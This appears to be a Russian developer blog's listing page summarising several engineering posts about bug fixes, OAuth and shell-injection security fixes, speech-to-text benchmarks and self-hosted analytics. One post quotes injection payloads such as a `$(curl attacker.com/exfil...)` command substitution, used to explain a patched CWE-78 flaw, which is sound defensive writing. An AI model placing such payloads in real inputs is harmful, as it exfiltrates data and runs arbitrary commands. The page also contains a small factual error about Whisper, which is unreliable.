BorisovAI

Блог

Публикации о процессе разработки, решённых задачах и изученных технологиях

Найдено 20 заметокСбросить фильтры
Исправлениеtrend-analisis

Когда техдолг кусает в спину: как мы очистили 2600 строк мёртвого кода

Проект **trend-analysis** вырос из стартапа в полноценный инструмент анализа трендов. Но с ростом пришла и проблема — код начал напоминать старый чердак, где каждый разработчик оставлял свои артефакты, не убирая за собой. Мы столкнулись с классической ситуацией: **git** показывает нам красивую историю коммитов, но реальность была печальнее. В коде жили дублирующиеся адаптеры — `tech.py`, `academic.py`, `marketplace.py` — целых 1013 строк, которые делали ровно то же самое, что их потомки в отдельных файлах (`hacker_news.py`, `github.py`, `arxiv.py`). Вот уже месяц разработчики путались, какой адаптер на самом деле использует **API**, а какой просто валяется без дела. Начали расследование. Нашли `api/services/data_mapping.py` — 270 строк кода, которые никто не импортировал уже полгода. Потом обнаружили целые рабочие процессы (`workflow.py`, `full_workflow.py`) — 121 строка, к которым никто не обращался. На фронтенде ситуация была похожей: компоненты `signal-table`, `impact-zone-card`, `empty-state` (409 строк) спокойно сидели в проекте, как будто их кто-то забыл удалить после рефакторинга. Но это был只 верхушка айсберга. Самое интересное — **ghost queries**. В базе была функция `_get_trend_sources_from_db()`, которая запрашивала таблицу `trend_sources`. Только вот эта таблица никогда не была создана (`CREATE TABLE` в миграциях отсутствовал). Функция мирно работала, возвращала пустой результат, и никто не замечал. Чистый пример того, как техдолг становится невидимым врагом. Мы начали с **DRY-принципа** на фронтенде — извлекли константы (`SOURCE_LABELS`, `CATEGORY_DOT_COLOR` и др.) в единый файл `lib/constants.ts`. Потом привели в порядок бэкенд: исправили `credits_store.py`, заменив прямой вызов `sqlite3.connect()` на правильный `db.connection.get_conn()` — это была потенциальная уязвимость в управлении подключениями. Очистили `requirements.txt` и `.env.example` — закомментировали неиспользуемые пакеты (`exa-py`, `pyvis`, `hypothesis`) и удалили мёртвые переменные окружения (`DATABASE_URL`, `LANGSMITH_*`, `EMBEDDING_*`). Исправили даже шаблоны тестов: эндпоинт `/trends/job-t/report` переименовали в `/analyses/job-t/report` для консистентности. Итого: 2600+ строк удалено, архитектура очищена, сразу стало проще ориентироваться в коде. Техдолг не исчезнет полностью — это часть разработки, — но его нужно время от времени погашать, чтобы проект оставался живым. А знаете, почему **Angular** лучший друг разработчика? 😄 Потому что без него ничего не работает. С ним тоже, но хотя бы есть кого винить.

#git#commit#python#api#security
16 февр. 2026 г.
Исправлениеopenclaw

Когда группа видна, а отправитель — нет: история одного бага

# Когда group chat показывает группу, но скрывает отправителя Проект OpenClaw — это не новый стартап, это сложная экосистема для работы с разными мессенджерами. И вот в BlueBubbles, интеграции для синхронизации Apple Messages, обнаружилась тонкая проблема: когда кто-то писал в групповой чат, группа отображалась как группа, но вот кто именно написал сообщение — оставалось загадкой. Представь: на экране видишь «[BlueBubbles] Сообщение пришло в "Друзья на даче"», а автора — хоть ты тресни. Задача была чёткая: сделать, чтобы в групповых чатах группа показывалась нормально, но при этом было видно, кто именно написал. Звучит просто, но в голове разработчика крутилось одно: как это реализовано в других каналах? Потому что вбивать велосипед — верный путь к техдолгу. **Первым делом** достали функцию `formatInboundEnvelope` — она уже использовалась в iMessage и Signal. Оказалось, там логика уже готовая: группе выделяется свой вид в заголовке (envelope header), а имя отправителя добавляется в тело сообщения. Скопировать этот паттерн в BlueBubbles значило привести всё в соответствие с остальной системой. Но тут вылезла вторая проблема: после форматирования сообщения нужно его ещё и обработать правильно. Включили `finalizeInboundContext` — функцию, которая нормализует поля, выставляет правильный ChatType, подставляет ConversationLabel и выравнивает MediaType. То есть применили тот же подход, что в iMessage и Signal. **BodyForAgent** при этом переключили на сырой текст (rawBody) вместо обёрнутого в конверт — иначе агент будет работать с `[BlueBubbles ...] текст сообщения`, а не с чистым текстом. И вот неожиданность: нужно было выровнять `fromLabel` с функцией `formatInboundFromLabel`. Суть в том, что для групп нужно писать «GroupName id:peerId», для личных сообщений — «Name id:senderId» (если имя отличается от ID). Мелкая, казалось бы, деталь, но она делает систему консистентной: везде одинаковый формат. **Интересный факт**: когда разные каналы используют разные форматы одних и тех же данных, это тихий убийца debugging'а. Тестировщик смотрит на iMessage, видит одно, смотрит на BlueBubbles — видит другое. Казалось бы, одна функция, один формат, но нет — каждый канал решил, что сам знает лучше. Поэтому когда разработчик вспомнил о единообразии, это был момент, когда система стала *ровнее*. Результат: BlueBubbles теперь работает как остальные каналы. Групповые чаты показываются группой, отправители видны, ConversationLabel наконец начинает возвращать имя группы вместо undefined. И главное — это не кастомный костыль, а применение существующего паттерна из iMessage и Signal. Система стала более предсказуемой. Теперь, когда приходит сообщение в групповой чат BlueBubbles, всё отображается логично: видна группа, видно, кто пишет, агент получает чистый текст для обработки. Ничего особенного, просто хорошая инженерия. **Разработчик на собеседовании**: «Я умею выравнивать форматы данных между каналами». Интервьюер: «А конкретно?» Разработчик: «Ну, BeautifulSoup, regex и... молитвы к богу синхронизации». 😄

#git#commit#security
14 февр. 2026 г.
Исправлениеopenclaw

Когда shell выполняет то, чего ты не просил

# Когда shell не в курсе, что ты хочешь Представь ситуацию: ты разработчик в openclaw, работаешь над безопасностью сохранения учётных данных в macOS. Всё казалось простым — берём OAuth-токен от пользователя, кладём его в системный keychain через команду `security add-generic-password`. Дело 10 минут, правда? Но потом коллега задаёт вопрос, которого ты боялся: «А что, если токен содержит что-нибудь подозрительное?» ## История одного $() Задача была в проекте openclaw и относилась к критической — предотвращение shell injection. В коде использовался **execSync**, который вызывал команду `security` через интерпретатор оболочки. Разработчик защищал от экранирования одинарными кавычками, заменяя `'` на `'"'"'`. Типичный трюк, правда? Но вот беда: одинарные кавычки защищают от большинства вещей, но не от *всего*. Если пользователь присылает OAuth-токен вроде `$(curl attacker.com/exfil?data=...)` или использует обратные кавычки `` `id > /tmp/pwned` ``, shell обработает эту подстановку команд ещё *до* того, как начнёт интерпретировать кавычки. Command injection по классике — CWE-78, HIGH severity. Представь масштаб: любой человек с правом выбрать поддельного OAuth-провайдера может выполнить произвольную команду с правами пользователя, на котором запущен gateway. ## execFileSync вместо execSync Решение было гениально простым: не передавать команду через shell вообще. Вместо **execSync** с интерпретатором разработчик выбрал **execFileSync** — функция, которая запускает программу напрямую, минуя `/bin/sh`. Аргументы передаются массивом, а не строкой. Вместо: ``` execSync(`security add-generic-password -U -s "..." -a "..." -w '${токен}'`) ``` Теперь: ``` execFileSync("security", ["add-generic-password", "-U", "-s", SERVICE, "-a", ACCOUNT, "-w", tokenValue]) ``` Красота в том, что OS сама разбирает границы аргументов — никакого shell, никакого интерпретирования метасимволов, токен остаётся просто токеном. ## Маленький факт о системной безопасности Знаешь, в системах Unix уже *десятилетия* говорят: не используй shell для запуска программ, если не нужна shell. Но почему-то разработчики снова и снова создают уязвимости через `execSync` с конкатенацией строк. Это как баг-батарея, которая никогда не кончается. ## Итого Pull request #15924 закрыл уязвимость в момент, когда она была обнаружена. Проект openclaw получил более безопасный способ работы с учётными данными, и никакой `$(whoami)` в OAuth-токене больше не сломает систему. Разработчик выучил (или вспомнил) важный урок: функции типа **execFileSync**, **subprocess.run** с `shell=False` или Go's **os/exec** — это не просто удобство, это *основа* безопасности. Главное? Всегда думай о том, как интерпретируется твоя команда. Shell — могущественная штука, но она должна быть твоим последним выбором, когда нужна *подстановка*, а не просто запуск программы. 😄 Совет дня: если ты вставляешь пользовательские данные в shell-команду, то ты уже потерял игру — выбери другой API.

#git#commit#api#security
14 февр. 2026 г.
Исправлениеopenclaw

Когда markdown убивает formatting: история трёх багов в Signal

Представьте себе: сообщение прошло через markdown-парсер, выглядит идеально в превью, но при рендеринге в Signal вдруг... смещение стилей, невидимые горизонтальные линии, списки прыгают по экрану. Именно эту головоломку решала команда OpenClaw в коммите #9781. ## Три слоя проблем Первый слой — **markdown IR** (внутреннее представление). Оказалось, что парсер генерирует лишние переносы между элементами списков и следующими абзацами. Вложенные списки теряют отступы, блокавроты выпускают лишние символы новой строки. Хуже всего — горизонтальные линии вообще молча пропадали вместо того, чтобы отобразиться видимым разделителем `───`. Второй слой — **Signal formatting**. Здесь затаилась коварная ошибка с накопительным сдвигом. Когда в одном сообщении расширялось несколько ссылок, функция `applyInsertionsToStyles()` использовала *исходные* координаты для каждой вставки, забывая про смещение от предыдущих. Результат: жирный текст приземлялся в совершенно неправильное место, как если бы вы сдвинули закладку, но продолжили считать позицию от начала книги. Третий слой — **chunking** (разбиение текста). Старый код полагался на `indexOf`, что было хрупким и непредсказуемым. Нужно было переписать на детерминированное отслеживание позиции с уважением к границам слов, скобкам раскрытых ссылок и корректным смещениям стилей. ## Как это чинили Команда не просто закрыла баги — она переписала логику: - Markdown IR: добавили проверку всех случаев с пробелами, отступами, специальными символами. Теперь горизонтальные линии видны, списки выравнены, блокавроты дышат правильно. - Signal: внедрили *cumulative shift tracking* — отслеживание накопленного смещения при каждой вставке. Плюс переделали `splitSignalFormattedText()` так, чтобы он разбивал по пробелам и новым строкам, не ломал скобки, и корректно пересчитывал диапазоны стилей для каждого чанка. - Тесты: добавили **69 новых тестов** — 51 для markdown IR, 18 для Signal formatting. Это не просто покрытие, это *регрессионные подушки* на будущее. ## Факт о markdown Markdown IR — это промежуточный формат, который сидит между текстом и финальным рендером. Он как сценарий между сценаристом и режиссёром: правильно оформленный сценарий экономит часы на съёмках. Неправильный — и режиссер тратит дни на исправления. ## Итог Баг был системный: не один глюк, а целая цепочка проблем в разных слоях абстракции. Но вот что интересно — команда не прошлась по нему топором, а аккуратно разобрала каждый слой, понял каждую причину, переписала на правильную логику. Результат: сообщения теперь форматируются предсказуемо, стили не смещаются, текст разбивается умно. А коммит #9781 теперь живет в истории как пример того, как **системное мышление** побеждает импульсивные фиксы. P.S. Что сказал Claude при деплое этого коммита? «Не трогайте меня, я нестабилен» 😄

#git#commit#security
14 февр. 2026 г.
Исправлениеopenclaw

Как мы поймали CSRF-атаку в OAuth: история исправления OC-25

Вчера мне попался один из тех багов, которые одновременно просты и страшны. В проекте **openclaw** обнаружилась уязвимость в OAuth-потоке проекта **chutes** — и она была настолько хитрой, что я сначала не поверил собственным глазам. ## Завязка: криптография проиграла халатности Представьте: пользователь запускает `openclaw login chutes --manual`. Система генерирует криптографически стойкий state-параметр — случайные 16 байт в hex-формате. Это как выдать клиенту уникальный билет в кино и попросить вернуть его при входе. Стандартная защита от CSRF-атак. Но вот беда. Функция `parseOAuthCallbackInput()` получала этот callback от OAuth-провайдера и... просто забывала проверить, совпадает ли state в ответе с тем самым ожидаемым значением. **Был сгенерирован криптографический nonce, но никто его не проверял**. ## Развитие: когда код сам себя саботирует Вторая проблема оказалась ещё коварнее. Когда URL-парсинг падал (например, пользователь вводил код вручную), блок `catch` **сам генерировал matching state**, используя `expectedState`. Представьте парадокс: система ловит ошибку парсинга и тут же создаёт фальшивый state, чтобы проверка всегда прошла успешно. Атакующий мог просто перенаправить жертву на вредоносный URL с подобранным state-параметром, и система бы его приняла. Это как выдать билет, потом спросить у человека "где ваш билет?", он ответит "ну, вот такой", — и вы проверите его по памяти вместо того, чтобы сверить с оригиналом. ## Факт: почему это работало OAuth state-параметр — это классический способ защиты, описанный в RFC 6749. Его задача: гарантировать, что callback идёт именно от авторизованного провайдера, а не из MITM-атаки. Но защита работает только если код **действительно проверяет** state. Здесь же проверка была театром: система шла по сценарию, не глядя на сцену. ## Итог и урок Фикс в PR #16058 добавил то, что должно было быть с самого начала: **реальное сравнение** extracted state с expectedState. Теперь если они не совпадают, callback отклоняется. Catch-блок больше не fabricирует фальшивые значения. Это напомнило мне старую истину: криптография — это не когда ты знаешь алгоритм. Это когда ты его используешь. А ещё это напомнило мне поговорку: **prompt engineering** — единственная профессия, о которой не мечтал ни один ребёнок, но теперь все мечтают объяснить ей, почему их код не работает. 😄

#git#commit#api#security
14 февр. 2026 г.
Исправлениеopenclaw

Как Slack потерял свои картинки: история об индексах и массивах

В проекте **OpenClaw** обнаружилась хитрая проблема с обработкой многофайловых сообщений из Slack. Когда пользователь отправлял несколько изображений одновременно, система загружала только первое, остальные просто исчезали. Звучит как обычный баг, но под капотом скрывалась классическая история о рассинхронизации данных. Всё началось с функции `resolveSlackMedia()`. Она работала как конвейер: берёт сообщение, загружает файл, **возвращает результат и выходит**. Всё просто и понятно, пока не нужны вложения по одному. Но когда в сообщении несколько картинок — функция падала после первой, словно устав от работы. Беда была в том, что разработчики забыли основное правило: *не выходи раньше времени*. Решение пришло из соседних адаптеров. **Telegram**, **Line**, **Discord** и **iMessage** давно научились собирать все загруженные файлы в массив перед возвратом. Идея простая: не возвращай результат сразу, накапливай его, а потом отдай весь пакет целиком. Именно это и сделали разработчики — завернули все пути файлов, URL-адреса и типы в соответствующие массивы `MediaPaths`, `MediaUrls` и `MediaTypes`. Но тут начинались настоящие приключения. Когда внизу конвейера код пытался обработать медиа для анализа зрения (vision), подготовки sandbox или создания заметок, он ожидал, что три массива идеально синхронизированы по длине. Каждому файлу должен соответствовать его тип (`application/octet-stream` или более точный MIME). И вот тут обнаружилась вторая подвох: при фильтрации `filter(Boolean)` удалялись записи с пустыми типами, массив сжимался, индексы ломались. Файл номер два становился номером один, и система присваивала неправильный MIME-тип. **Финальный трюк** — заменить фильтр на простую подстановку: если тип не определён, используй универсальный `"application/octet-stream"`. Теперь массивы всегда совпадают по размеру, индексы совпадают, и каждый файл получает свой корректный тип, даже если система не смогла его определить с первого раза. Это хороший пример того, как *контракты между компонентами* (в данном случае — обещание "три массива одинаковой длины") могут молча ломаться, если их не охранять. Один неловкий `filter()` — и вся архитектура начинает пошатываться. --- **Факт о технологиях:** Slack API исторически одна из самых сложных в обработке медиа среди мессенджеров именно потому, что поддерживает множество форматов вложений одновременно. Это требует особой внимательности при синхронизации данных. --- 😄 *Почему Sentry не пришёл на вечеринку? Его заблокировал firewall.*

#git#commit#security
14 февр. 2026 г.
Исправлениеopenclaw

Когда "умное" поведение мешает пользователю

В проекте **openclaw** произошла интересная история. После обновления **2026.2.13** разработчики выпустили фичу с *неявной реплай-сортировкой* сообщений в Telegram. Идея была правильная: автоматически группировать ответы в цепочки, как это делают все современные мессенджеры. Вот только выяснилось: когда эта фича встретилась с дефолтной настройкой `replyToMode="first"`, произошла чудесная трансформация. Теперь **каждый** первый ответ бота в личных сообщениях отправляется как нативная Telegram-реплай с кавычкой исходного сообщения. Пользователь пишет: "Привет" — а бот ему отвечает огромным пузырём с цитатой. И "Привет" становится цельным произведением искусства. Смешно было бы, если бы не регрессия. До этого обновления реплай-сортировка работала менее надёжно, поэтому дефолт "first" редко порождал видимые кавычки в личных чатах. Теперь же — надёжность возросла, и дефолт превратился в тихий врага UX. Представьте: простой диалог, а то и шутка про отправку кода выглядит как формальный деловой документ с копией исходного письма. Команда поняла проблему и сделала логичный шаг: переключить дефолт с `"first"` на `"off"`. Просто. Эффективно. Вот и всё. **Важный момент**: те, кому *нужна* реплай-сортировка, могут включить её вручную через конфиг: ``` channels.telegram.replyToMode: "first" | "all" ``` Никто не лишён выбора — просто дефолт теперь не раздражает большинство. Тестирование было жёсткое: переключали режим на живой инстанции 2026.2.13, смотрели прямое влияние на поведение. С `"first"` — каждое сообщение цитируется. С `"off"` — чистые ответы. Ясно как день. Интересно, что **тесты** вообще не понадобилось менять. Почему? Потому что они всегда явно устанавливали нужное значение `replyToMode`, не полагаясь на магию дефолтов. Вот это дизайн. История преподаёт урок: иногда "умное поведение по умолчанию" — это просто источник боли. Лучше выбрать консервативный дефолт и дать пользователям инструменты для кастомизации. Чем отличается машинный код от бессмыслицы? Машинный код работает. 😄

#git#commit#api#security
14 февр. 2026 г.
Новая функцияtrend-analisis

Восемь API за день: как я собрал тренд-систему в production

# Восемь источников данных, один день работы и вот уже система тянет информацию со всего интернета Проект **trend-analisis** набирал обороты, но его слабое место было очевидным: система собирала сигналы о трендах, но питалась только крохами. Для полноценного анализа нужны были новые источники — не просто *много*, а *разнообразные*. Нужно было подтянуть социальные сети, новостные порталы, профильные техсообщества, поисковые тренды. За один день. В production-quality коде. Без паники. ## Зачем нам восемь источников сразу? Задача была типичной для аналитического сервиса: один источник данных — это шум, два-три — начало картины, а восемь разнородных источников — это уже сигнал. Reddit подскажет, что волнует сообщество. NewsAPI покажет, о чём пишут журналисты. Stack Overflow раскроет технические интересы. Google Trends — чистая позиция того, что гуглят люди. Каждый источник — отдельный голос, и все вместе они рисуют трендовый пейзаж. Но подключить восемь API разом — это не просто скопировать curl. Это интеграционный конвейер: конфиги с rate limits, асинхронные адаптеры с обработкой ошибок, health checks, нормализация сигналов и композитный скоринг. ## Как я это делал Первым делом определился со структурой: для каждого источника создал отдельную конфиг-модель с правильными таймаутами и лимитами запросов. Reddit ждёт полусекунды между запросами, YouTube требует аутентификации, NewsAPI предоставляет 100 запросов в день — каждый со своими правилами. Async-адаптеры писал через единый интерфейс, чтобы остальная система не парилась, откуда приходят данные. Интересный момент возник с нормализацией сигналов. Из Reddit берём апвоты и engagement ratio, из YouTube — view count и likes, из Product Hunt — голоса, из PubMed — цитирования. Как их между собой сравнивать? Социальная сеть может выдать миллион просмотров за день, а академический источник — тысячу цитаций за год. Решение было в BASELINES: каждая категория (SOCIAL, NEWS, TECH, SEARCH, ACADEMIC) имела базовые метрики, а затем веса равномерно распределялись внутри категории (сумма = 1.0). Глупо? Нет, это working solution, который можно итеративно улучшать с реальными данными. В `scoring.py` пришлось добавить обработку 18+ новых сигналов из метаданных: от количества комментариев до индекса популярности. Тесты написал параллельно с кодом — 22 unit теста плюс E2E проверка здоровья источников. ## Свежий факт о REST API, который не знали в 2010-м Когда создавали REST, никто не предусмотрел, что один API будет вызываться столько раз в секунду. Rate limiting появился потом, как забота сервиса о себе. Поэтому крупные API вроде Twitter и YouTube теперь добавляют в заголовки ответа оставшееся количество запросов (`X-RateLimit-Remaining`). Это не просто информация — это обратная связь для асинхронных очередей, которые должны умнее разподвигивать нагрузку. ## Что получилось 13 адаптеров зарегистрировалось успешно, health checks прошли 10 из 13 (три гейтированы на аутентификацию, но это ожидаемо). Reddit, NewsAPI, Stack Overflow, YouTube, Dev.to, Product Hunt, Google Trends и PubMed — теперь все они поют в хоре trend-analisis. Система может агрегировать упоминания, подсчитывать тренды, видеть, что вот прямо сейчас взлетает в техсообществе. Дальше предстоит: фидтуню веса, добавить источники второго уровня, может быть, Hacker News и Mastodon. Но фундамент готов. --- *GitHub Actions: решение проблемы, о существовании которой ты не знал, способом, который не понимаешь.* 😄

#git#commit#python#api#security
Разработка: trend-analisis
13 февр. 2026 г.
Исправлениеspeech-to-text

Whisper упирается в стену: что происходит, когда оптимизация бессильна

# Speech-to-Text под давлением: когда оптимизация упирается в физику Представь себе ситуацию: нужна система речевого распознавания, которая работает в режиме реального времени. Бюджет — менее одной секунды на обработку аудио. Звучит выполнимо? Pink Elephant, разработчик проекта **speech-to-text**, решил это проверить экспериментально. И вот что из этого вышло. ## Охота на чудо-оптимизацию Всё начиналось с вопроса: а может ли стандартная модель Whisper работать на этой задаче? Текущие метрики выглядели удручающе — 32,6% WER (Word Error Rate, коэффициент ошибок распознавания). Мечта, конечно, 80% улучшение, но кто ж мечтать не будет. Первый шаг — попробовать альтернативные модели Whisper. Может, маленькая модель справится быстрее? Tiny дала 56,2% WER — хуже, чем base. Small показала весьма интересный результат: 23,4% WER (28% улучшение!), но потребовала 1,23 секунды обработки. А бюджет-то 1 секунда. Грустно. Medium вообще 3,43 секунды — в три раза медленнее, чем надо. Потом пришли идеи поумнее: beam search, варьирование температуры, фильтрация результатов через T5 (большую языковую модель для коррекции текста). Но — неожиданно выяснилось — ничего из этого не помогало. Beam search с температурой давал ровно те же 32,6% WER. Разные пороги T5-фильтра (от 0,6 до 0,95) тоже. Зато когда убрали T5 совсем, ошибок стало 41%. T5 оказался спасением, но не панацеей. Потом попробовали гибридный подход: base-модель для реального времени + medium в фоне. Сложновато, но теоретически возможно. Последовательную обработку (сначала одно, потом другое) пришлось отмести — непрактично. ## Когда данные говорят правду А потом разработчик проанализировал, где именно Whisper base ошибается. Больше всего пропусков (deletions) — 12 ошибок, замены (substitutions) — 6. Проблема не в плохой стратегии обработки, а в самой модели. Вот такой неудобный факт. **Large Language Models** как Whisper создаются с применением трансформер-архитектуры, обучаясь на огромных объёмах текстовых данных через самоконтролируемое обучение. И вот в чём закавыка: даже сильные LLM-ы достигают потолка качества, если их заставить работать в несоответствующих условиях. В нашем случае — в режиме реального времени на CPU. ## Горькая истина Итоговый вывод был честный и немного безжалостный: base-модель — единственный вариант, который укладывается в бюджет менее одной секунды, но качество её зафиксировано в 32,6% WER. Small даёт 28% улучшение (23,4% WER), но требует на 230 миллисекунд больше. 80% сокращение ошибок на CPU? Невозможно. Никакая волшебная post-processing техника это не спасёт. Нужно или переходить на GPU, или согласиться с текущим качеством, или рассмотреть асинхронную фоновую обработку. Тысячи строк кода оптимизации упёрлись в стену физических ограничений. Иногда лучшая оптимизация — это честный разговор о целях проекта. 504: gateway timeout. Ожидание ответа от PM. 😄

#git#commit#api#security
Разработка: speech-to-text
13 февр. 2026 г.
Новая функцияspeech-to-text

Когда пороги T5 упираются в потолок качества

# Когда оптимизация упирается в стену: история о порогах T5 Работаю над **speech-to-text** проектом уже несколько спринтов. Задача простая на словах: снизить процент ошибок распознавания (WER) с 34% до 6–8%. Звучит как небольшое улучшение, но на практике — это огромный скачок качества. Когда система неправильно расслышит каждое третье слово, пользователи просто перестанут ей доверять. Инструмент в руках — модель Whisper base от OpenAI с надстройкой на базе T5 для исправления текста. T5 работает как корректор: смотрит на распознанный текст, сравнивает с образцами и понимает, где алгоритм наверняка ошибся. Вот только настройки T5 были довольно мягкие: пороги сходства текста 0.8 и 0.85. Может, нужно сделать строже? **Первым делом** я добавил методы `set_thresholds()` и `set_ultra_strict()` в класс `T5TextCorrector`. Идея была хороша: позволить менять чувствительность фильтра на лету. Включил "ультра-строгий" режим с порогами 0.9 и 0.95 — почти идеальное совпадение текстов. Потом запустил **comprehensive benchmark**. Проверил четыре подхода: - **Базовый + улучшенный T5 (0.8/0.85)**: 34.0% WER за 0.52 сек — это наша текущая реальность ✓ - **Ультра-строгий T5 (0.9/0.95)**: 34.9% WER, 0.53 сек — хуже примерно на один процент - **Beam search с пятью лучами + T5**: 42.9% WER за 0.71 сек — катастрофа, качество упало в три раза - **Только база без T5**: 35.8% WER — тоже не помогло Неожиданно выяснилось: система уже находится на плато оптимизации. Все стандартные техники — ужесточение фильтров, увеличение луча поиска (beam search), комбинирование моделей — просто не работают. Мы выжали максимум из текущей архитектуры. **Интересный факт**: T5 создана Google в 2019 году как "Text-to-Text Transfer Transformer" — универсальная модель, которая любую задачу обработки текста формулирует как трансформацию из одного текста в другой. Поэтому одна модель может переводить, суммировать, отвечать на вопросы. Но универсальность имеет цену — специализированные модели часто работают лучше в узкой задаче. Чтобы прыгнуть на целых 26 процентов вверх (с 34% до 8%), нужно кардинально менять стратегию. Переходить на более мощную Whisper medium? Но это превысит бюджет времени отклика. Обучать свою модель на отраслевых данных? Требует месяцев работы. В итоге команда приняла решение: оставляем текущую конфигурацию (Whisper base + T5 с порогами 0.8/0.85) как оптимальную. Это лучшее соотношение качества и скорости. Дальнейшие улучшения требуют совсем других подходов — может быть, архитектурных, а не параметрических. Урок усвоен: не всегда больше параметров и строже правила означают лучше результаты. Иногда система просто сказала тебе: "Достаточно, дальше иди другим путём". 😄 *Почему разработчик попал в плато оптимизации? Потому что все остальные возможности уже были на берегу — нужно было просто заметить, что корабль уже причален!*

#git#commit#python#security
Разработка: speech-to-text
13 февр. 2026 г.
Обучениеspeech-to-text

Микротюнинг алгоритма: как сэкономить гигабайты памяти

# Когда микротюнинг алгоритма экономит гигабайты памяти Работаю над проектом speech-to-text, и вот типичная история: всё кажется работающим, но стоишь перед выбором — либо система пожирает память и отзывается медленно, либо производит мусор вместо текста. На этот раз пришлось разбираться с двумя главными вредителями: слишком агрессивной фильтрацией T5 и совершенно бесполезным адаптивным fallback'ом. Начну с того, что случилось. Тестировали систему на аудиокниге, и T5 (модель для коррекции текста) вела себя как чрезмерно ревностный редактор — просто удаляла слова направо и налево. Результат? Потеря 30% текста при попытке поднять качество. Это был провал: WER (Word Error Rate) показывал 28,4%, а сохранялось всего 70% исходного текста. Представьте, вы слушаете аудиокнигу, а система вам отдаёт её в сокращённом виде. Первым делом залез в `text_corrector_t5.py` и посмотрел на пороги схожести слов. Там стояли скромные значения: 0,6 для одиночных слов и 0,7 для фраз. Я поднял их до 0,80 и 0,85 соответственно. Звучит как небольшое изменение? На самом деле это означало: «T5, удаляй слово только если ты ОЧЕНЬ уверена, а не если просто подозреваешь». И вот что получилось — WER упал до 3,9%, а сохранение текста прыгнуло на 96,8%. Это был уже другой уровень. Но это был только первый фронт войны. Вторым врагом оказался **adaptive_model_fallback** — механизм, который должен был срабатывать, когда основная модель барахлит, и переключаться на резервную. Звучит логично, но на практике? Тестировали на синтетических деградированных аудио — отлично, WER 0,0%. На реальных данных (TTS аудиокниги в чистом виде) — хуже базовой линии: 34,6% вместо 31,9%. На шумных записях — 43,6%, никакого улучшения. Получилось, что адаптивный fallback был как дорогой зонтик, который вообще не спасает от дождя, но при этом весит килограмм и занимает место в рюкзаке. Я отключил его по умолчанию в `config.py`, выставив `adaptive_model_fallback: bool = False`. Код оставил — вдруг когда-нибудь появятся реальные микрофонные записи, где это сработает, но пока это просто груз. **Интересный факт**: задача выбора порога схожести в NLP похожа на тюнинг гитары — сдвигаешь колок на миллиметр, и звук либо поёт, либо звенит. Только вместо уха здесь работаешь с метриками и надеешься, что улучшение на тестовом наборе не рухнет на боевых данных. В итоге система стала на 86% точнее на аудиокнигах, освободилась от 460 МБ ненужной памяти и ускорилась на 0,3 секунды. Всё это из-за двух небольших изменений пороговых значений и одного отключённого флага. Результаты зафиксировал в `BENCHMARK_RESULTS.md` — полная таблица тестов, чтобы потом никто не начинал возвращать fallback обратно. Урок такой: иногда микротюнинг работает лучше, чем архитектурные перестройки. Иногда лучшее решение — просто выключить то, что не работает, вместо того чтобы его развивать. 😄 Что общего у T5 и подросткового возраста? Оба требуют очень точных параметров, иначе начинают удалять всё подряд.

#git#commit#python#security
Разработка: speech-to-text
13 февр. 2026 г.
Новая функцияborisovai-admin

Umami Analytics: как я сделал админ-панель data-driven

# Самостоятельная аналитика: как я превратил borisovai-admin в data-driven продукт Несколько месяцев назад передо мной встала типичная для любого владельца проекта проблема: я совершенно не видел, кто и как использует мою админ-панель **borisovai-admin**. Google Analytics казался избыточным (и страшным с точки зрения приватности), а простой счётчик посещений — примитивным. Нужно было что-то лёгкое, приватное и полностью под своим контролем. Выбор пал на **Umami Analytics** — открытую веб-аналитику, которая уважает приватность пользователей, не использует cookies и полностью GDPR-compliant. Главное же — её можно развернуть самостоятельно, прямо в своей инфраструктуре. ## Четыре этапа внедрения **Первый шаг — упростить развёртывание.** Стандартная Umami требует двух контейнеров (приложение + PostgreSQL), но для небольшого проекта это избыточно. Я нашёл fork **maxime-j/umami-sqlite**, который использует SQLite — файловую БД в одном контейнере. Экономия памяти была существенной: вместо ~300 MB получил ~100 MB. Затем написал скрипт **install-umami.sh** из семи шагов, который может быть запущен много раз без побочных эффектов (идемпотентный — именно это было важно для автоматизации). **Второй этап — автоматизировать через CI/CD.** Создал два job'а в пайплайне: один автоматически ставит Docker (если его нет), второй — развёртывает саму Umami. Добавил health check, чтобы пайплайн не переходил к следующему шагу, пока контейнер не будет готов. Инкрементальный деплой через **deploy-umami.sh** позволяет обновлять конфигурацию без перезагрузки приложения. **Третий этап — дать пользователям интерфейс.** Создал страницу **analytics.html**, где каждый новый сервис может получить код для интеграции отслеживания. Плюс добавил API endpoint `GET /api/analytics/status` для проверки, всё ли работает. Async-скрипт Umami весит всего ~2 KB и не блокирует рендеринг страницы — вот это я ценю. **Четвёртый этап — документировать.** Написал **AGENT_ANALYTICS.md** с инструкциями для будущих разработчиков, обновил главный **CLAUDE.md** таблицей всех сервисов. ## Что интересного я узнал Оказывается, боль большинства разработчиков с традиционной аналитикой — это не функциональность, а приватность. Umami решает это элегантно: скрипт отправляет только агрегированные данные (сессии, страницы, источники трафика) без ID пользователей и истории кликов. А главное — нет необходимости в **consent banner**, который все равно раздражает пользователей. Порт **3001** внутри контейнера пробросил через **Traefik** на HTTPS-домены `analytics.borisovai.ru` и `analytics.borisovai.tech`. Вообще, это я оценил: такая простота развёртывания чуть ли не впервые в моём опыте с self-hosted решениями. Встроенная авторизация в самой Umami (не потребовался дополнительный Authelia) — и это экономия на инфраструктуре. Один лайфхак: чтобы скрипт аналитики не блокировался AdBlock, назвал его `stats` вместо стандартного `umami` — простой способ обойти базовые фильтры. ## Итог Теперь **borisovai-admin** наконец-то видит себя со стороны. Я получил данные о том, какие страницы реально используют люди, откуда они приходят и сколько времени длятся сессии. Всё это — на своём сервере, без третьих лиц и без чувства вины перед пользователями. Следующий шаг — подключить аналитику ко всем остальным сервисам проекта. Это уже не задача месяца, а скорее вопрос пары часов на каждый сервис. Учимся: иногда лучший инструмент — это не самый популярный, а самый честный. 😄

#git#commit#api#security
Разработка: borisovai-admin
10 февр. 2026 г.
Исправлениеbot-social-publisher

Бот, который помнит, где остановился: история оптимизации

